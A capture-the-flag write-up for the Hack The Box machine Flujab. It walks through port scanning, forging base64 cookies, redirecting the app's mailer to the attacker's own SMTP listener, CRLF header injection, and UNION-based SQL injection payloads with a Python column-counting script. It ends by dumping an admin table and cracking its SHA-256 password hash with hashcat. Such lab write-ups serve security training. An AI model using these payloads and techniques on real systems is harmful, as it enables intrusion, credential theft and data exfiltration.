HTB Flujab

10.10.10.124 | 40 pts

PART 1 : INITIAL RECON

$ nmap --min-rate 1000 -p- -v 10.10.10.124

  PORT     STATE SERVICE
  22/tcp   open  ssh
  80/tcp   open  http
  443/tcp  open  https
  8080/tcp open  http-proxy

$ nmap -oN flujab.nmap -p22,80,443,8080 -sC -sV -v 10.10.10.124

  PORT     STATE SERVICE  VERSION
  22/tcp   open  ssh?
  80/tcp   open  http     nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: ClownWare Proxy
  |_http-title: Did not follow redirect to https://10.10.10.124/
  443/tcp  open  ssl/http nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: ClownWare Proxy
  |_http-title: Direct IP access not allowed | ClownWare
  | ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
  | Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
  | Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 4096
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2018-11-28T14:57:03
  | Not valid after:  2023-11-27T14:57:03
  | MD5:   1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
  |_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn: 
  |_  http/1.1
  | tls-nextprotoneg: 
  |_  http/1.1
  8080/tcp open  ssl/http nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: ClownWare Proxy
  |_http-title: Direct IP access not allowed | ClownWare
  | ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
  | Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
  | Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 4096
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2018-11-28T14:57:03
  | Not valid after:  2023-11-27T14:57:03
  | MD5:   1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
  |_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn: 
  |_  http/1.1
  | tls-nextprotoneg: 
  |_  http/1.1

PART 2 : PORT ENUMERATION

Various domains and subdomains were captured during the nmap scan and I added them to the /etc/hosts file:

127.0.0.1       localhost
127.0.1.1       kali f
10.10.10.124    clownware.htb              ///DEAD END
10.10.10.124    sni147831.clownware.htb    ///DEAD END
10.10.10.124    *.clownware.htb            ///DEAD END
10.10.10.124    proxy.clownware.htb        ///DEAD END
10.10.10.124    console.flujab.htb         ///DEAD END
10.10.10.124    sys.flujab.htb             ///DEAD END
10.10.10.124    smtp.flujab.htb
10.10.10.124    vaccine4flu.htb            ///DEAD END
10.10.10.124    bestmedsupply.htb          ///DEAD END 
10.10.10.124    custoomercare.megabank.htb 
10.10.10.124    flowerzrus.htb             ///DEAD END
10.10.10.124    chocolateriver.htb         ///DEAD END
10.10.10.124    meetspinz.htb              ///DEAD END
10.10.10.124    rubberlove.htb             ///DEAD END 
10.10.10.124    freeflujab.htb
10.10.10.124    flujab.htb                 ///DEAD END

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

From initial observations, most of the domains contain either an embedded image or video and bestmedsupply.htb and flowerzrus.htb only contains static .html pages. Three domains, however, seem worth exploring -- https://custoomercare.megabank.htb, smtp.flujab.htb, and freeflujab.htb

TCP PORT 443 (`https://custoomercare.megabank.htb`)

Opening https://custoomercare.megabank.htb on your browser loads the following and it explicitly says: "The site ahead may contain harmful programs"

Running gobuster:

$ gobuster -k -u https://custoomercare.megabank.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

  [-] Wildcard response found: https://custoomercare.megabank.htb/48a44669-2c2f-4568-ac60-9d92eb6396db => 301

All 404 requests are redirected (301) to https://clownware.htb/cwerror_pages.php which contains the following error page:

Now, running gobuster but limiting response codes to only 200 :

$ gobuster -k -s 200 -u https://custoomercare.megabank.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

  /index.php (Status: 200)
  /shell.php (Status: 200)

And hidden in https://custoomercare.megabank.htb/shell.php's page source:

<!--
53cret 5shell
shell.php?cmd=[commands]
-->

The webpage seems to accept shell commands -- ?cmd=id returns uid=0(root) gid=0(root) groups=0(root) and ?cmd=ls returns root.txt but ?cmd=cat root.txt returns:

The webpage is just a troll.

TCP PORT 443 (`https://smtp.flujab.htb/`)

Now moving on to https://smtp.flujab.htb/ brings you to:

With the following page source:

...omitted...

        <!-- Header -->
        <section id="header" class="wrapper style3">

            <!-- Logo -->
            <div id="logo">
                <h1><a href="/?login">SMTP Mail Configuration</a></h1>
                </br>
                <!-- NOW DEPRICATED! This function has been integrated into the new free service application!-->
            </div>
        </section>

...omitted...

    <h2>Log in here for your Mail-in-a-Box control panel.</h2>
    <form class="form-horizontal" role="form" onsubmit="do_login(); return false;">

...omitted...

The "free service application" being referred to must be https://freeflujab.htb which we'll get to in a bit.

Examining the do_login() function referenced as a form action:

function do_login() {
  if ($('#loginEmail').val() == "") {
    show_modal_error("Login Failed", "Enter your email address.", function() {
         $('#loginEmail').focus();
    });
    return false;
  }
  if ($('#loginPassword').val() == "") {
    show_modal_error("Login Failed", "Enter your email password.", function() {
      $('#loginPassword').focus();
    });
    return false;
  }
  // Exchange the email address & password for an API key.
  api_credentials = [$('#loginEmail').val(), $('#loginPassword').val()]
  api(
    "/me",
    "GET",
    { },
    function(response){ 
      // This API call always succeeds. It returns a JSON object indicating
      // whether the request was authenticated or not.
      if (response.status != "ok") {
        // Show why the login failed.
        show_modal_error("Login Failed", response.reason)
        // Reset any saved credentials.
        do_logout();
      } else if (!("api_key" in response)) {
        // Login succeeded but user might not be authorized!
        show_modal_error("Login Failed", "You are not an administrator on this system.")
        // Reset any saved credentials.
        do_logout();
      } else {
        // Login succeeded.
        // Save the new credentials.
        api_credentials = [response.email, response.api_key];
        // Try to wipe the username/password information.
        $('#loginEmail').val('');
        $('#loginPassword').val('');
        // Remember the credentials.
        if (typeof localStorage != 'undefined' && typeof sessionStorage != 'undefined') {
          if ($('#loginRemember').val()) {
            localStorage.setItem("miab-cp-credentials", api_credentials.join(":"));
            sessionStorage.removeItem("miab-cp-credentials");
          } else {
            localStorage.removeItem("miab-cp-credentials");
            sessionStorage.setItem("miab-cp-credentials", api_credentials.join(":"));
          }
        }
        // Open the next panel the user wants to go to. Do this after the XHR response
        // is over so that we don't start a new XHR request while this one is finishing,
        // which confuses the loading indicator.
        setTimeout(function() { show_panel(!switch_back_to_panel || switch_back_to_panel == "login" ? 'system_status' : switch_back_to_panel) }, 300);
      }
    }
  )
}

api() is referenced by the included js file but is not defined anywhere so t he login functionality might be a RABBIT HOLE

TCP PORT 443 (`https://freeflujab.htb/`)

Lastly, we visit the referenced free service from earlier. Opening https://freeflujab.htb/ on your browser leads you to:

One thing you'll notice is that the favicon.ico image doesn't load and viewing its contents reveal:

<?php 
define('SafeIncludes', TRUE);
require_once('includes/get_host.php');
//                                                                                              /$$              
include('includes/tokens.php');//                                                               | $$              
//   /$$$$$$$  /$$$$$$  /$$   /$$  /$$$$$$   /$$$$$$$  /$$$$$$         /$$$$$$$  /$$$$$$   /$$$$$$$  /$$$$$$     
//  /$$_____/ /$$__  $$| $$  | $$ /$$__  $$ /$$_____/ /$$__  $$       /$$_____/ /$$__  $$ /$$__  $$ /$$__  $$    
// |  $$$$$$ | $$  \ $$| $$  | $$| $$  \__/| $$      | $$$$$$$$      | $$      | $$  \ $$| $$  | $$| $$$$$$$$    
//  \____  $$| $$  | $$| $$  | $$| $$      | $$      | $$_____/      | $$      | $$  | $$| $$  | $$| $$_____/    
//  /$$$$$$$/|  $$$$$$/|  $$$$$$/| $$      |  $$$$$$$|  $$$$$$$      |  $$$$$$$|  $$$$$$/|  $$$$$$$|  $$$$$$$    
// |_______/  \______/  \______/ |__/       \_______/ \_______/       \_______/ \______/  \_______/ \_______/    
include('includes/actions.php');                                                                                                              
//                                                                                                    /$$ /$$ /$$
include('includes/header.php');//                                                                    | $$| $$| $$
//                    /$$   /$$  /$$$$$$  /$$   /$$ /$$   /$$ /$$   /$$ /$$   /$$  /$$$$$$   /$$$$$$ | $$| $$| $$
//                   | $$  | $$ |____  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$ /$$__  $$ /$$__  $$| $$| $$| $$
//                   | $$  | $$  /$$$$$$$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$$$$$$$| $$$$$$$$|__/|__/|__/
//                   | $$  | $$ /$$__  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$_____/| $$_____/            
//                   |  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$ /$$ /$$ /$$
//                    \____  $$ \_______/ \____  $$ \____  $$ \____  $$ \____  $$ \_______/ \_______/|__/|__/|__/
//                    /$$  | $$           /$$  | $$ /$$  | $$ /$$  | $$ /$$  | $$                                
//                   |  $$$$$$/          |  $$$$$$/|  $$$$$$/|  $$$$$$/|  $$$$$$/                                
//                    \______/            \______/  \______/  \______/  \______/                                 
include('includes/scripts.php');
//                                                  ▄▄▄▄▄▄▄▄▄▄▄        
//                                             ▄▄▀▀▀▀          ▀▀▄▄    
//                                           ▄▀                   ▀▀▄    
//                                          █                        █
//                                         █                     ▄▀▀▀▀▀█▄
//                                        █▀                    █    ▄███
//                                        █                     █    ▀███
//                                        █     ▄▀▀██▀▄         █       █
//                                        █    █  ████ █         ▀▄▄▄▄▄█ 
//                                        █    █  ▀██▀ █               █
//                                        █    █       █              ▄▀
//                                        █    ▀▄     ▄▀  ▄▄▄▄▄▄▄▄▄   █  
//                                        █     ▀▀▀▀▀    █  ▀  ▀  █  ▄▀ 
//                                         █              ▀▄█▄█▄█▀ ▄▀
//                                          █                     ▄▀    
include('includes/path_handler.php');//      ▀▀▀▄          ▄▄▄▄▄▄▀▀
//                                            ▄▀         ▀▀  ▄▀ 
//                                          ▄▀               █
//                                         ▄▀                █  ▄▀▀▀█▀▀▄
//                                         █    █  █▀▀▀▄     █▀▀    █  █
//                                        ▄█    ▀▀▀    █     █    ▀▀   █
//                                        █▀▄          █      █▄       █
//                                        █  ▀▀▀▀▀█▄▄▄▄▀       ▀█▀▀▀▄▄▄▀
//                                        █                     █
//                                        █                     █
//                                        █                     █
//                                         █         ▀▄  ▄▀    █
//                                          █          █        ▀▄
//                                           █         █          █
//                                           █         █           ▀▄
//                                           █      ▄▀▀█▀▀▄        ▄▀▀██▀▄ 
//                                           █             █▀▄            █
//                                           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀  ▀ ▀▀▀▀▀▀▀▀▀▀▀
include('includes/fortune.php');
?>

The favicon.ico is not an image and it seems to be the structure or template of the site's webpages.

While the other links seem to work fine,

/?cancel redirects to /?ERROR=NOT_REGISTERED
/?remind redirects to /?ERROR=NOT_REGISTERED

Attempting to book an appointment for a free flujab in /?book:

But first checking page source to see how the form works:

...omitted...
<form method="post" action="?book">
  <div class="row aln-center">
    <div class="col-6 col-12-medium">
      <b>Book Your Appointment Today!</b>
      <br><br>
      <p>If rou are an existing patient registered with our surgery, 
      we’re here to keep you and your loved ones as healthy as possible, 
      with expert advice on how to protect yourself from seasonal 
      illnesses and ailments, including flu.
      </p>
      <p>Even at our fittest and healthiest, we can still catch the 
      flu. For those over 65, people with a medical condition or
      pregnant women, catching flu can be more serious and that’s
      why we are here to offer a FREE NHS funded flu vaccine.
      </p>
      Cricklestone Doctors Surgery<br>
      NHS England.
      <p></p>
    </div>
    <div class="col-6 col-12-small">
      <h2>Prefered Date: <input type="date" name="date" value="2018-11-30" min="2018-10-01" max="2019-03-31"><br><br>
      Prefered Time: <input type="time" name="time" value="09:00" min"09:00"="" max="16:45"></h2><br>
      <input type="text" name="fname" id="contact-name" placeholder="Patient First Name" required=""><br>
      <input type="text" name="lname" id="contact-name" placeholder="Patient Last Name" required=""><br>
      <input type="text" name="nhsnum" placeholder="NHS Number (if known)" pattern="NHS-\d{3}-\d{3}-\d{4}" title=" A Valid NHS Number Is Required e.g. NHS-012-345-6789"><br>
      <ul class="actions"><br>                            
        <center><input type="submit" class="style1" value="Request Appointment" name="submit"></center>
      </ul>
    </div>
  </div>
</form>
...omitted...

Now, booking with the following values:

date=2018-11-30
time=09:00
fname=jebidiah
lname=anthony
nhsnum=    
submit=Request+Appointment

And the HTML Response after booking:

...omitted...
<script>
  alert("Sorry, jebidiah anthony is not a registered patient!");
</script>
...omitted...

The form requires a registered patient and nhsnum is not a required field.

In the /?info page, there is a section dedicated to patient feedbacks formatted with a remark then first initial and surname:

...omitted...
<h2>What people say about us</h2></br>
<p>
 <i>"My boss would fire me if i missed a day of work, or couldn't do overtime when he needs me to. The online booking system made things so easy for me to range my flu jab."</i>
 <h3><i>A. Chun</i></h3>
</p>
<p>
  <i>"I normally hate injections, but the warm friendly atmosphere provided by the wonderful NHS staff helped dissolve all of my fears."</i>
  <h3><i>B. Smith</i></h3>
</p>
<p>
  <i>"Having a flu jab was as easy as pie.. pizza pie"</i>
  <h3><i>L. Feggola</i></h3>
</p>
<p>
  <i>"It so quick and painless, not to mention thousands of times safer than crossing the street!"</i>
  <h3><i>J. Walker</i></h3>
</p>
...omitted...

In order to use the services given, a patient must be registered in the system and the register option doesn't really seem to work and educated guesses might be necessary for a valid patient name.

Educated guesses for a registered patient: Johnnie Walker, Johny Walker, John Walker, Jay Walker.

Examining cookies might also prove useful when validating users:

HTTP Request:

GET / HTTP/1.1
Cookie: Patient=daf23866abcb8e29ecee6d3da0caa992; Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9TnVsbA%3D%3D

The base64 decoded Registered cookie is daf23866abcb8e29ecee6d3da0caa992=Null which seems connected to the Patient cookie

HTTP Response:

HTTP/1.1 200 OK
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=Mon, ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config

The base64 decoded Modus cookie is Configure=Null
There is a path set in the cookie /?smtp_config. This must be the one referenced earlier by https://smtp.flujab.htb (This function has been integrated into the new free service application)
Modus, Patient, and Registered are set in the response if not requested.

Checking for the response headers of https://freeflujab.htb/?smtp_config:

$ curl -I -k https://freeflujab.htb/?smtp_config

HTTP/1.1 302 Found
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config
Set-Cookie: Patient=daf23866abcb8e29ecee6d3da0caa992; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/
Set-Cookie: Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/
Location: /?denied
Server: ClownWare Proxy

The page redirects to /?denied... maybe the cookie needs to be set correctly to access the page.

PART 3 : EXPLOITATION

Re-booking an appointment using educated guesses for a registered patient:

date=2018-11-30
time=09:00
fname=john
lname=walker
nhsnum=    
submit=Request+Appointment

HTML Response:

...omitted...
<script>
  alert("Error! Could not connect to a mailserver at :25!");
</script>
...omitted...

Response Cookies:

HTTP/1.1 200 OK
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config
Set-Cookie: Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=0; path=/

John Walker is a registered patient however it seems that the booked appointment sends to a SMTP server (default port: 25). Since /?smtp_config was found/set in the cookies, perhaps the cookie is also the way to set a mailserver.

With a registered patient, the decoded base64 Registered cookie is now set to True (daf23866abcb8e29ecee6d3da0caa992=True). What if the Modus cookie is also set to True.

Encoded (Base64) "Configure=True" : Q29uZmlndXJlPVRydWU=
URL Encoded cookie: Modus=Q29uZmlndXJlPVRydWU%3D

Accessing /?smtp_config with the properly set cookies now returns the following responses:

$ cookie="Modus=Q29uZmlndXJlPVRydWU%3D;Patient=daf23866abcb8e29ecee6d3da0caa992;Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D;"

$ curl --cookie $cookie -I -k https://freeflujab.htb/?smtp_config

HTTP/1.1 200 OK
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: ClownWare Proxy

$ curl --cookie $cookie -k https://freeflujab.htb/?smtp_config

...
<div class="title">Mailer Configuration</div>
  <div class="container">
    <header class="style1">
      <h2>Patient Emailer Configuration Settings</h2>
      <h2>Current Setting = SMTP: :25</h2>
    </header>
    <!-- Contact Form -->
    <section>
      <form method="post" action="?smtp_config">
        <div class="row aln-center">
          <div class="col-6 ">
            <input type="text" name="mailserver" id="email-server" value="smtp.flujab.htb" pattern="smtp.[A-Za-z]{1,255}.[A-Za-z]{2,5}" title=" A Valid SMTP Domain Address Is Required"/>
            <input type="hidden" name="port" id="port" placeholder="25" value="25" />
          </div>
          <div class="col-12">
            <p>
              WARNING: Only <a href="/?whitelist">whitelisted sysadmins</a> are authorized to 
              access this page! <br \> If you are not supposed to 
              change these settings then don't! whitelist will be 
              auto-updated.
            </p>
            <ul class="actions">
              <li><input type="submit" class="style1" value="Save Mail Server Config" name="save" /></li>
            </ul>
          </div>
        </div>
      </form>
    </section>
  </div>
</div>
...omitted...

The mailserver parameter only accepts a certain pattern which could be bypassed by changing the input value to anything you want or by intercepting the request and changing the values there.

$ data="mailserver=10.10.15.10&port=25&save=Save+Mail+Server+Config"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?smtp_config

...omitted...
<h2>Patient Emailer Configuration Settings</h2>
<h2>Current Setting = SMTP: 10.10.15.10:25</h2>
...omitted...

All that is left is to set-up an SMTP server locally and wait for messages after booking an appointment:

$ python -m smtpd -c DebuggingServer -n 10.10.15.10:25

From the Python smtpd documentation:
DebuggingServer Objects
class smtpd.DebuggingServer(localaddr, remoteaddr)
Create a new debugging server. Arguments are as per SMTPServer. Messages will be discarded, and printed on stdout.

$ data="date=2018-11-30&time=09:00&fname=john&lname=walker&nhsnum=&submit=Request+Appointment"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?book

Checking the started mailserver after booking:

---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: jwalker@tuta.io
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-921-376-3922
Message-ID: <6c7e8490856eef3377e672b3684e342b@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922 
    Code   : Influ-022
    Type   : Injection
    Time   : 09:00
    Date   : 2018-11-30
    LOC    : Crick026 
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------

An NHS Number was supplied in the email even though it was left empty during the request. This proves that the setup works. Now checking if the response after booking an appointment is different from asking for a reminder.

$ data="nhsnum=NHS-921-376-3922&submit=Send+Reminder"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind

...omitted...
<script>alert("Email Error: You must provide at least one recipient email address.");</script>
...omitted...

Now, the request requires an email parameter:

$ data="nhsnum=NHS-921-376-3922&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind

After sending the request, the mailserver responds with:

---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-921-376-3922
Message-ID: <64c2cbafd6e671ec34e3803202871fdc@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________
    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------

Asking for a reminder cancels an appointment... something might be up with this page.

Since the nhsnum parameter is not really required during requests, maybe it could be used for "injection":

TEST #1 : Fuzzing

$ data="nhsnum=test&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind

---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:
Message-ID: <655bc8a49b3bdd6acc1dae82abdec5fb@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : test    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------

The Subject header changed: Subject: Flu Jab Appointment - Ref:
The REF changed: REF : test

TEST #2 : Header Injection using CRLF

$ data="nhsnum=NHS-921-376-3922%0d%0aSubject:%20test&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind

---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:
Message-ID: <c9fb2cef453e9a4ca88691ad507d6af1@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922
Subject: test    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------

Flu Jab Appointment - Ref: at the Subject header still remains empty
"\r\n" was only passed in REF

TEST #3 : SQL Injection

$ data="nhsnum='+OR+'1'='1&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind

---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-943-475-5911
Message-ID: <086a0e84f07f82f4e4f384a78f8dd9ac@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : ' OR '1'='1    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------

Ref:NHS-943-475-5911 appears in the Subject header which is different from the initial queries (Ref:NHS-921-376-3922)
It's now highly probable that the server is vulnerable to SQL injection

SQL #1 : DATABASE TYPE

Checking what database the service is using using the vulnerability found in the nhsnum parameter:

' OR sqlite_version()=sqlite_version() #

No message was sent to the mailserver.

' OR crc32('MySQL')=crc32('MySQL') #

It returns a successful query (Subject: Flu Jab Appointment - Ref:NHS-943-475-5911) which means the service is using MySQL

SQLite will use sqlite_master to enumerate database content
MySQL will use information_schema to enumerate database content

SQL #2 : QUERY COLUMNS

In order to perform UNION based SQL injections, it is essential to know how many columns are being returned by the original query.

import requests as r

target = "https://freeflujab.htb/?remind"

cookies = {
    "Modus": "Q29uZmlndXJlPVRydWU%3D",
    "Patient": "daf23866abcb8e29ecee6d3da0caa992",
    "Registered":  "ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D"
}

query_columns = 1
while True:

data = {
    "nhsnum": "' OR '1'='1' ORDER BY %d #" % (query_columns + 1),
    "submit": "Send Reminder",
    "email": "DutyNurse@flujab.htb"
}

req = r.post(target, allow_redirects=False, cookies=cookies, data=data, timeout=1000, verify=False)

if data["email"] not in req.text: break
else: query_columns += 1

print("THE ORIGINAL QUERY HAS %d COLUMNS" % (query_columns))

$ python union.py

  THE ORIGINAL QUERY HAS 5 COLUMNS

SQL #3 : INFORMATION LEAKS

Now checking which column leaks information during query:

' AND '1'='1' UNION SELECT 'one','two','three','four','five' #

...omitted...
Subject: Flu Jab Appointment - Ref:three
...omitted...

The third column is output to the Subject header

SQL #4 : DATABASE INFORMATION

' AND '1'='1' UNION SELECT 1,2,@@version,4,5 #

...omitted...
Subject: Flu Jab Appointment - Ref:10.1.37-MariaDB-0+deb9u1
...omitted...

' AND '1'='1' UNION SELECT 1,2,system_user(),4,5 #

...omitted...
Subject: Flu Jab Appointment - Ref:root@localhost
...omitted...

' AND '1'='1' UNION SELECT 1,2,database(),4,5 #

...omitted...
Subject: Flu Jab Appointment - Ref:vaccinations
...omitted...

The system is using MariaDB (just the same as MySQL) and is being hosted by the root user which meand that using high privilege commands should not be a problem.

The current database used by the service is vaccinations

SQL #5 : DATA EXFILTRATION

Now that we have everything we need to perform UNION based SQL injections, let's start by enumerating table names in the vaccinations database:

' AND '1'='2' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database(); #

...omitted...
Subject: Flu Jab Appointment - Ref:admin,admin_attribute,admin_password_request,adminattribute,admintoken,attachment,attribute,bounce,bounceregex,bounceregex_bounce,config,eventlog,i18n,linktrack,linktrack_forward,linktrack_ml,linktrack_uml_click,linktrack_userclick,list,listmessage,listuser,message,message_attachment,messagedata,sendprocess,subscribepage,subscribepage_data,template,templateimage,urlcache,user,user_attribute,user_blacklist,user_blacklist_data,user_history,user_message_bounce,user_message_forward,user_message_view,usermessage,userstats
...omitted...

There is an admin table which might contain useful credentials.

' AND '1'='2' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='admin'; #

...omitted...
Subject: Flu Jab Appointment - Ref:id,loginname,namelc,email,access,created,modified,modifiedby,password,passwordchanged,superuser,disabled,privileges
...omitted...

Dumping all values based on the column names listed above for the admin table:

' AND '1'='2' UNION SELECT 1,2,group_concat(<column_name>),4,5 FROM admin; #

COLUMN

VALUE

loginname

sysadm

namelc

administrator

syadmin@flujab.htb

access

sysadmin-console-01.flujab.htb

created

2018-07-02 08:45:19

modified

2018-12-02 00:01:02

modifiedby

password

a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602

passwordchanged

2018-07-02

superuser

disabled

privileges

A new subdomain presents itself (sysadmin-console-01.flujab.htb)
The password is encrypted using SHA-256:

$ hashcat --force -m1400 a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602 /usr/share/wordlists/rockyou.txt 

  a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:th3doct0r

The password for sysadm is th3doct0r

